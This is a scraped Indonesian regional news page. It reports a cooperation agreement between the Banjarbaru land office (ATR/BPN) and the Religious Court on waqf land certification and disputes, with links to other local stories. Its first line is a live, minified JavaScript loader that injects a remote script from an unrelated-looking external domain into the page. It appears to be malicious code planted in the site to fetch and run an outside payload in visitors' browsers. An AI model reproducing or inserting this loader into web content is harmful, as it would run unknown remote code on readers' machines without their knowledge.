(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Hindari Sengketa Tanah Wakaf, BPN – Pengadilan Agama Banjarbaru Jalin Kerjasama


KANALKALIMANTAN.COM,BANJARBARU – Kerjasama dalam bidang administrasi pertanahan mulai terjalin antara ATR/BPN Banjarbaru dengan Pengadilan Agama Banjarbaru.

Penandatangan kerjasama digelar, Jumat (8/8/2025) siang, melalui program Lentera Cendana Asri (Layanan Terintegrasi Dalam Percepatan Pengurusan Produk Antar Instansi dan Sosialisasi Birokrasi).

Pengadilan Agama sering menyelesaikan perkara-perkara yang objek kebendaan terutama tanah.

Baca juga: Gubernur H Muhidin Bagikan Bendera Merah Putih ke Pengendara

Kepala ATR/BPN Kota Banjarbaru, Suhaimi. Foto: wanda 

Kepala ATR/BPN Kota Banjarbaru, Suhaimi mengatakan, program ini merupakan turunan MoU dari Dirjen Penetapan Hak Kementerian ATR/BPN dengan Kementerian Agama RI. Lalu berlanjut, dari Kanwil ATR BPN Kalsel dengan Kemenag Kalsel.

“Kami menindaklanjuti dengan PKS (perjanjian perjasama) di tingkat Kantor Pertanahan dengan Pengadilan Agama untuk PKS yang kita tandatangani hari ini,” ujar Kepala ATR/BPN Kota Banjarbaru.

Sedangkan PKS dengan Kementerian Agama Kota Banjarbaru sendiri telah dilakukan khusus untuk penyerahan sertifikasi tanah wakaf.

Baca juga: Wabup Banjar Buka Jambore Cabang 2025

Dia mangatakan betapa pentingnya sertifikasi tanah wakaf dilakukan sebagai bagian perlindungan hukum.

“Sangat penting karena titipan masyarakat kepada negara untuk mengelola tanah wakaf, maka pengelolaannya sebagai bagian dari perllindungan hukum pengamanan administrasi dan hukum terhadap harta wakaf,” jelasnya.

Baca juga: Kunker Bupati Kapuas ke Kapuas Tengah Program Satu Miliar Satu Desa

Kepala Pengadilan Agama Kota Banjarbaru Hikmah. Foto: wanda 

Kepala Pengadilan Agama Banjarbaru Hikmah mengatakan, ATR/BPN Banjarbaru nantinya berperan sebagai pendamping. “Gunanya memastikan apakah tanah yang di lapangan atau dipermasalahan ukurannya sesuai dengan yang tercantum dalam surat gugatan,” ungkap Kepala Pengadilan Agama Banjarbaru. “Bisa jadi yang tercantum disertifikat atau yang tanpa sertifikat,” sambungnya.

Selain itu,  nantinya dalam proses sita objek, Pengadilan Agama memerlukan kerjasama dengan BPN. BPN diperlukan agar tidak terjadinya pengalihan kepemilikan dari objek yang jadi sengketa.

“Sama begitu juga nanti dengan proses eksekusi, mau eksekusi ril atau eksekusi lelang. Karena berhubungan dengan KPKNL memerlukan Surat Keterangan Pendaftaran Tanah. Nah kita kerjasama nanti terkait tanah yang non sertifkat,” jelasnya.

Baca juga: Bantuan Sembako Pangan Disalurkan Jelang Hari Kemerdekaan, Ini Kata Wali Kota Lisa Halaby

Nantinya putusan pengadilan, sambung dia, bisa berkaitan dengan ahli waris yang berhak mendapatkan objek sengketa tersebut.

Terkait sengketa tanah wakaf, Hikmah menjelaskan prosedur yang diberlakukan akan serupa.

“Ada yang menggugat bahwa dulu wakafnya secara Lisan, belum tercatat di BPN, makanya nanti muncul sengketa,” ungkapnya.  Selain itu, juga ada pembatalan akta ikrar wakaf sengketa ini pernah terjadi.

“Sudah pernah dan saya tangani perkara wakaf dan kita memerlukan kerjasama dengan BPN,” sambung Hikmah.

Baca juga: Semarak Hari Kemerdekaan Anak-anak Dusun Terpencil di Balangan

Sedangkan di Banjarbaru, sengketa tanah wakaf belum pernah terjadi. Mengingat, Pengadilan Agama Banjarbaru berhasil berdamai sebelum sengketa tersebut masuk dalam proses persidangan.

Di sesi persidangan nantinya, BPN akan berperan sebagai saksi ahli. Guna memastikan keabsahan objek yang menjadi sengketa.

Adapun penandatangan kerjasama ini tidak hanya sekedar mitigasi sengketa tanah yang berhubungan dengan Pengadilan Agama Banjarbaru. Melainkan, sebagai bentuk kelancaran proses warisan balik nama sertifikat.

Aris Muhaimin, salah seorang warga mengatakan, ada kemudahan saat balik nama sertifikat tanah wakaf untuk bangunan sebuah masjid.

“Ini dirubah dari sertifikat hak milik, prosesnya cepat saja sekitar seminggu lebih setelah kami lengkapi segalanya. Alhamdulillah dibantu sampai selesai,” tutupnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

7 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

12 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

12 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.